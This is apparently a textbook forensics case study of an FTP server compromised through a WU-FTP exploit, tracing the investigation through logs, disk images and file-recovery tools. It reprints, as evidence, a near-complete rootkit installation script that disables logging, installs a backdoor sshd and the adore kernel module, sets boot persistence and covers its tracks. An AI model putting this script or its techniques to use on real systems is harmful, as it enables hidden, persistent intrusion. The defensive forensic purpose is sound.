22.6 Forensics Case Study: FTP Attack

This section presents a case study of a real-life company network server compromise and the subsequent analysis. Here, we undertake an actual computer forensics investigation and present the results. This section provides an opportunity to follow the dramatic trail of incident response for an actual forensics case. In the course of this investigation, we utilize some of the tools described above.

22.6.1 Introduction

We were consulted by Example.com, a medium- sized computer hardware online retailer that understands the value of network and host security, since its business depends upon reliable and secure online transactions. Its internal network and DMZ (demilitarized zone) setup were designed with security in mind, verified by outside experts, protected by the latest in security technology, and monitored using advanced audit trail aggregation tools. Following the philosophy of defense- in-depth , they used two different firewalls and two different intrusion detection systems. The DMZ setup was of the bastion network type, with one firewall separating the DMZ from the hostile Internet and another protecting the internal network from DMZ and Internet attacks. Two network IDSs sniffed the DMZ traffic. The NIDS logs, together with firewall logs, were collected into netForensics SIM, ^[2] a security information management solution. In the DMZ, the company gathered the standard set of network servers (all running some version of Unix or Linux): web, email, and DNS servers, and a dedicated FTP server used to distribute hardware drivers for the company inventory. The FTP server, running Red Hat, is the subject of this account. The server was the latest addition to the company's network.

^[2] The netForensics SIM solution (http://www.netforensics.com) is an advanced security management and log analysis, correlation, and monitoring solution, used to combine and analyze various audit records from diverse security systems.

Let's shed some more light on the DMZ setup, since it explains why the attack went the way it did. The outside firewall provided NAT services and only allowed access to a minimum number of ports on each of the DMZ hosts . Evidently, those were TCP port 80 on the web server, TCP port 25 on the mail server, TCP and UDP ports 53 on the DNS server, and the appropriate TCP ports (20 and 21) on the FTP server. No connections to outside machines were allowed from any DMZ machine. The internal firewall blocked all connections from the DMZ to the internal LAN (no exceptions) and allowed some connections that originated from the internal LAN to DMZ machines (only specified ports for management and configuration). The second firewall also worked as an application-level proxy for web and other traffic (no direct connections to the Internet from internal LAN were allowed). In addition, each DMZ machine was hardened and ran a host-based firewall, only allowing connections on the same minimum number of ports from outside, plus a port for remote management from the internal LAN, and not from other DMZ machines. While it is unwise to claim that their infrastructure was unassailable, it's reasonable to say that it was better than most.

On Monday morning, a customer who was trying to download a driver update alerted the company's support team. He reported that the FTP server was not responding to his connection attempts. Upon failing to login to the FTP server remotely via Secure Shell, the support team member walked to a server room and discovered that the machine had crashed and could not boot. The reason was simple: no operating system was found.

At that point, Example.com's incident response plan sprang into action. Since the FTP server was not of critical business value, a decision was made to complete the investigation before redeploying the server and to temporarily use other channels for software distribution. The primary purpose of our investigation was to learn about the attack in order to secure the server against recurrence . Our secondary focus was to trace the actions of the attacker.

22.6.2 The Investigation

The main piece of evidence in our investigation was a 20-GB disk drive. No live forensics was possible, since the machine had crashed while running unattended. In addition, we had a set of logfiles from a firewall and IDS, all nicely aggregated by netForensics software.

We started the investigation by reviewing traffic patterns. The incident that attracted the most attention was an IDS log with three high-priority alerts. All three were instances of a WU-FTP exploit at about 02:29 on April 1. It appears that the IDS signature base was updated with the new attack signatures, while the company's FTP server's FTP daemon software was not patched. Considering the above network security infrastructure, we hoped there would be no more unpleasant security surprises . Unfortunately, there were: syslog on the FTP server was not set for remote logging. Thus, no firsthand attack information was available from the FTP server itself, since the server was later found deleted.

By analyzing the connection data from the machine that launched the attack, we discovered the following:

1. The intruder probed Example.com's externally visible IP addresses for at least several hours prior to the incident.

2. Upon compromising the FTP server, the intruder tried to connect to other DMZ hosts and to some machines on the outside. All such attempts were unsuccessful .

3. The attacker uploaded a file to the FTP server.

The last item was another unpleasant surprise. How was the attacker able to upload the file? The company's system administration team was questioned, and the truth came out: the FTP server had a world-writable directory for customers to upload the logfiles used for hardware troubleshooting. Unrestricted anonymous uploads were possible to the incoming directory, which was set up in the most insecure manner possible: anonymous users were able to read any of the files uploaded by other people. Among other things, this kind of access presents the risk of an FTP server being used to store pirated software by outside parties.

After the network analysis, which was easy due to netForensics's advanced data-correlation capabilities, it was time for hard-drive forensics. The disk was found to contain three partitions, "/", "/usr", and "/home". After the disk was connected to a forensics workstation, images of all partitions were taken:

 dd if=/dev/hdc1 of=/home/hacked-ftp-hdc1 

The Unix dd command creates a bit-by-bit copy of a file, partition or the whole disk. Above, it is used to copy the original /dev/hdc1 Linux partition to another drive for investigation. As mentioned above, forensic investigators should never work with an original piece of evidence.

The same was done for the two other partitions. Upon mounting the partitions,

 mount -o ro,loop,noatime /home/hacked-ftp-hdc1 /mnt/hf-hdc1 

we found that all files had been deleted.

Next , we decided to look for fragments of logfiles (originally in /var/log ) to confirm the nature of the attack. The command:

 strings /home/hacked-ftp-hdc1  grep 'Apr 1' 

took a while to run on a 2-GB partition. It returned the following log fragments from the system messages log, the network access log, and the FTP transfer log (fortunately, the FTP server was using verbose logging of all transfers).

Here's the system log:

 Apr  1 00:08:25 ftp ftpd[27651]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3],  mozilla@ Apr  1 00:17:19 ftp ftpd[27649]: lost connection to 192.168.2.3 [192.168.2.3] Apr  1 00:17:19 ftp ftpd[27649]: FTP session closed Apr  1 02:21:57 ftp ftpd[27703]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3],  mozilla@ Apr  1 02:26:13 ftp ftpd[27722]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3],  mozilla@ Apr  1 02:29:45 ftp ftpd[27731]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3],  x@ Apr  1 02:30:04 ftp ftpd[27731]: Can't connect to a mailserver. Apr  1 02:30:07 ftp ftpd[27731]: FTP session closed 

The above log indicates that the attacker was first looking around with a browser (standard password mozilla@ ). He then apparently executed the exploit (password x@ ). The last line about a mailserver looks particularly ominous.

This log excerpt shows that attacker spent some time snooping around the FTP server directories:

 Apr  1 00:17:23 ftp xinetd[921]: START: ftp pid=27672 from=192.168.2.3 Apr  1 02:20:18 ftp xinetd[921]: START: ftp pid=27692 from=192.168.2.3 Apr  1 02:20:38 ftp xinetd[921]: EXIT: ftp pid=27672 duration=195(sec) Apr  1 02:21:57 ftp xinetd[921]: START: ftp pid=27703 from=192.168.2.3 Apr  1 02:21:59 ftp xinetd[921]: EXIT: ftp pid=27692 duration=101(sec) Apr  1 02:26:12 ftp xinetd[921]: EXIT: ftp pid=27703 duration=255(sec) Apr  1 02:26:13 ftp xinetd[921]: START: ftp pid=27722 from=192.168.2.3 Apr  1 02:29:40 ftp xinetd[921]: START: ftp pid=27731 from=192.168.2.3 Apr  1 02:30:07 ftp xinetd[921]: EXIT: ftp pid=27731 duration=27(sec) 

This shows that some tools were uploaded:

 Mon Apr 1 02:30:04 2002 2 192.168.2.3 262924 /ftpdata/incoming/mount.tar.gz b _ i a  x@ ftp 0 * c 

All downloads initiated from the FTP server to the attacker's machine failed due to rules on the company's outside firewall. However, by that time the attacker already had a root shell from the exploit.

We drew two conclusions from this data. First, the server was indeed compromised from outside the perimeter, using an FTP exploit (see http://online.securityfocus.com/bid/3581 and http://www.cert.org/advisories/CA-2001-33.html for more details). The attack came from a machine at 192.168.2.3 (address sanitized). Second, the attacker managed to get some files onto the victim host.

We suspected that the file mount.tar.gz contained a rootkit. We were interested in whether the attacker managed to install it and, if so, what the tool's functionality was. The hunt for the rootkit began .

Before sending the heavyweights (i.e., forensics toolkits) into battle, we searched the strings file (the output of strings /home/hacked-ftp-hdc1 ) for various interesting words. Another productive way to uncover data (text-data, at least) is to load the entire strings output in your favorite Unix pager program (such as "less") and look for interesting keywords. This method allows you to look at strings that surround the interesting one.

Our search keywords were "mount.tar.gz", the attacker's IP address ("192.168.2.3"), "incoming" (for the pathname to the FTP directory), and some others.

The next piece of evidence that surfaced was an ncftp log fragment. ncftp is a Unix/Linux FTP client that preserves its own logfile of outbound connections for the purposes of bookmarking them for easy return.

 SESSION STARTED at:  Mon Apr  1 02:21:17 2002    Program Version:  NcFTP 3.0.3/635 April 15 2001, 05:49 PM    Library Version:  LibNcFTP 3.0.6 (April 14, 2001)         Process ID:  27702           Platform:  linux-x86              Uname:  Linuxftp2.4.7-10#1 Thu Sep 6 17:27:27 EDT 2001i686           Hostname:  localhost.localdomain  (rc=4)           Terminal:  dumb 00:21:17  Resolving 192.168.2.3... 00:21:17  Connecting to 192.168.2.3... 00:21:17  Could not connect to 192.168.2.3: Connection refused. 00:21:17  Sleeping 20 seconds. 

There were several of these messages, indicating several failed connection attempts. netForensics network traffic data also shows the attacker unsuccessfully trying to ping the outside hosts.

Our next keyword search in the strings output brought a much larger fish: a list of files in the rootkit and its installation script. This turned out to be the high point of the investigation. The list of rootkit files was as follows :

a.sh

adore-0.42.tar.gz

sshutils.tar.gz

utils .tar.gz

Below, we provide a complete rootkit installation script with added comments (likely a.sh from the above list).This makes sure that the history file in the shell is not written:

 #!/bin/sh #seting paths PATH='.:~/bin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11/bin:/opt/bin: /usr/local/sbin:/usr/local/bin:/usr/local/kde/bin:/usr/local/mysql/bin: /opt/gnome/bin' #unseting the histifle unset HISTFILE export HISTFILE=/dev/null 

Now, it prepares for installation:

 #making the directories echo '[Facem directoarele]' uname -r awk '{print }'while read input ;do mkdir /lib/modules/$input /.modinfo;done sleep 1 if [ -d /etc/sysconfig/console ];then         echo 'Dir found'         else         mkdir /etc/sysconfig/console         echo '/etc/sysconfig/console created' if [ -d /usr/info/.1 ];then         echo 'Dir found'         else         mkdir /usr/info/.1         echo 'files dir created' sleep 1 

The following section makes sure that logs are not written: it kills the daemon and makes the logfiles immutable by setting the "file" attribute:

 #dezarhivam echo '[dezarhivam]' tar zxvf adore-0.42.tar.gz sleep 3 tar zxvf sshutils.tar.gz sleep 3 tar zxvf utils.tar.gz << unpacks all components, the word above means 'unarchiving' in Romanian >> # read only logs until we finish chattr +ia /var/log/messages chattr +ia /varlog/secure chattr +ia /var/log/maillog chattr +ia /root/.bash_history #killing syslogs killall -9 syslogd killall -9 klogd 

The next section deploys and starts the backdoor sshd daemon:

 #copying ssh files/confs echo '[SSH part]' cd ../sshutils mv .napdf /etc/sysconfig/console/ mv .racd /etc/sysconfig/console/ mv .radd /etc/sysconfig/console/ mv .seedcf /etc/sysconfig/console/ mv nscd /usr/local/bin chown root.root /usr/local/bin/nscd cd /tmp/mount #starting ssh /usr/local/bin/nscd -q 

Now the adore LKM is deployed to hide malicious hacker resources:

 #kernel module  cd /tmp/mount/adore ./configure make sleep 27 #copiem module uname -r awk '{print }'while read input ;do cp adore.o /lib/modules/$input           /.modinfo/arpd.o;done uname -r awk '{print }'while read input ;do cp cleaner.o /lib/modules/$input           /.modinfo/arpd-use.o;done uname -r awk '{print }'while read input ;do cp ava /lib/modules/$input/.modinfo           /a;done #inseram module uname -r awk '{print }'while read input ;do /sbin/insmod /lib/modules/$input           /.modinfo/arpd.o;done uname -r awk '{print }'while read input ;do /sbin/insmod /lib/modules/$input           /.modinfo/arpd-use.o;done #hiding directories uname -r awk '{print }'while read input ;do /lib/modules/$input/.modinfo/a            h /etc/sysconfig/console; doneuname -r awk '{print }'while read input ;do /lib/modules/$input/.modinfo/a                h /usr/info/.1;done uname -r awk '{print }'while read input ;do /lib/modules/$input/.modinfo/a  i `cat /etc/sysconfig/ console/.piddr`;done 

This creates a boot-up script and (for some unclear reason) updates file locations for search (updatedb):

 #copying boot file cd /tmp/mount cp randoms /etc/rc.d/init.d/ #next faze updatedb& sleep 1 cd /root chattr +ia .bash_history 

Now, denial-of-service tools are deployed. (Hey, you never know what might lurk in the cyberworld.) Some tools were not identified (e.g., fsch2).

 #utils cd /tmp/mount/utils mv fsch2 /etc/cron.daily/ mv imp /usr/info/.1 mv slc /usr/info/.1 mv lil /usr/info/.1 mv sense /usr/info/.1 

This section makes sure adore and backdoor sshd are started on boot-up:

 #sys configs  echo '/usr/local/bin/nscd -q' >>/etc/rc.d/rc.sysinit echo '/etc/rc.d/init.d/randoms >/dev/null &' >>/etc/rc.d/rc.sysinit 

And this section removes evidence and puts the logs back to normal:

 chattr +ia /etc/rc.d/rc.sysinit #ending uname -r awk '{print }'while read input ;do /lib/modules/$input/.modinfo/a           u /tmp/mount/adore;done rm -rf /tmp/mount* /etc/rc.d/init.d/syslog start & sleep 5  chattr -ia /var/log/messages chattr -ia /var/log/secure chattr -ia /var/log/maillog echo 'DONE' 

It is worthwhile to note that the comments within the rootkit installation script were written in Romanian. For whatever reason, several other known rootkits are also of Romanian origin (e.g., http://project.honeynet.org/ scans /scan18/som/som10.txt).

The next section of the strings file contained more scriptlets used by the rootkit, headers from some denial-of-service tools (imp flooder, slice DoS tool, etc.), a parser for LinSniffer logs (another old favorite of script kiddies), and a chunk of the adore LKM source code with the author's headers intact. In addition, a fragment of what appears to be an SSH backdoor configuration file was found. Overall, it turned out to be a pretty low-tech rootkit, using only publicly available components.

Our next goal was to recover all of the rootkit files. While none of the components appeared to use new penetration technology, they were still of interest. For example, the usage of a kernel-level backdoor ( adore ) in a mainstream rootkit meant that casual system administrators would likely miss it on their systems.

We then used The Coroner's Toolkit, tct (see http://www.fish.com/tct/ and http://www.porcupine.org/forensics/tct.html), to look for the rootkit. We also tried using a newer computer forensics toolkit, TASK (by Brian Carrier, from @Stake). TASK is an improvement over TCT, since it integrates TCT-Utils (used to build a better malicious activity timeline) with core TCT functionality. TASK also integrates with the Autopsy forensic browser to provide a nice interface for file browsing, recovery, and timeline creation on multiple disk images.

Unfortunately, most of the TCT and TASK toolkits's functionality does not work on a Red Hat machine. Due to certain changes in filesystem code, the inode data (which was used to recover deleted files) was now zeroed out. The tips from the Linux Undeletion HOWTO (http://www.praeclarus.demon.co.uk/tech/e2-undel/html) and tools such as recover (http://recover.sourceforge.net/linux/recover/) and e2undel (http://e2undel. sourceforge .net), based on the above HOWTO, all failed to recover a single file. Thus, these excellent utilities were rendered unusable. However, this is not necessarily a bad thing for many people, computer forensics examiners excluded, who think that deleted data should probably stay deleted. Obviously, our original attacker would be better off if the forensics process failed. In any case, we had to resort to other tools from our arsenal that can help deal with the situation when the simple undelete process fails.

Fortunately, the TCT kit also implements a more painful way to recover the files that works on Red Hat 7.2 with zeroed inodes. The unrm/ lazarus tool provided a good chance to recover something . lazarus looks at all the disk blocks and determines their type (such as text, email, C code, binary, archive, or something else) using the Unix file command. It also concatenates consecutive blocks of the same type together, assuming that they are pieces of the same file. However, this algorithm will most likely bring back text data rather than binary data.

To run the tool, first create a file containing all the unallocated space from the partition:

 ./tct-1.09/bin/unrm /home/hacked-ftp-hdc1 > /home/hacked-ftp-hdc1.unrm 

Then run the lazarus tool as follows:

 ./tct-1.09/lazarus/lazarus /home/hacked-ftp-hdc1.unrm 

It took us several hours to process the 2-GB partition. As a result, two directories were formed : "blocks" contained the recovered files (or just blocks) and "www" contained an HTML map of all the recovered files (if desired, the output can be examined with a browser).

We were looking for an archive containing the rootkit or any of its components. There are many ways to analyze the "blocks" directory (all are slow, and some are excruciatingly slow). To look for gzip-compressed files:

 find blocks -type f -print  xargs file {}  grep gzip >                               /home/hacked-ftp-hdc1.blocks-gzipped 

Since we also know the size of the rootkit (reported in the above fragment of the FTP transfer log).

 awk -F ':' '{print }' /home/hacked-ftp-hdc1.blocks-gzipped  xargs -i ls -l {} 

Unfortunately, nothing was found. More data slicing and dicing followed ”again, with no results. For example, below is an attempt to find more C source files:

 find blocks -type f -print  xargs file {}  grep 'C program text' 

This and other commands found nothing related to the incident.

As a last resort, an even newer forensics tool called foremost (available at http://foremost.sourceforge.net) was used. foremost, recently released by the USAF Office of Special Investigations, uses customizable binary data signatures to look for files within the disk image file. We created a signature for the tool to look for GNU gzip archives, since the rootkit and its components (shown above) were all gzipped TAR archives. The USAF tool brilliantly did its job where TCT failed!

Two of the rootkit components were recovered ( adore.tar.gz and utils.tar.gz ). The Adore kit contained a standard adore LKM v.0.42 (as distributed by TESO). The Utils package contained the following five binaries:

 -rw-r--r--    1 root     root        14495 Jan 22 23:37 fsch2 -rwxr-xr-x    1 root     root         8368 Aug  7  2000 imp -rwxr-xr-x    1 root     root         7389 Jan 15  2001 lil -rwxr-xr-x    1 root     root         4060 Jun 25  2000 sense -rwxr-xr-x    1 root     root        15816 Oct 13  2000 slc 

imp and slc were identified as DoS tools . lil turned out to be a sniffer. Its string output matched the one shown on http://project.honeynet.org/papers/enemy3/. sense was the Perl parser for sniffer output (also found earlier from strings of the whole disk image). fsch2 remains a mystery. In the rootkit installation file, it is set to run daily from cron. It has strings indicative of network connectivity (socket, bind, listen, accept, etc.), the always ominous /bin/sh , and a string that looks like a password. It might be some sort of network backdoor.

At that point, the investigation was closed. The attacker's ISP was notified but they took no action, which is normal practice. To the hacker, the intermediary victim was just another throwaway dial-up account. Perhaps the FBI could get the scoop on the hacker, but the victim certainly could not. However, since the damage was minimal, there was no point in alerting law enforcement.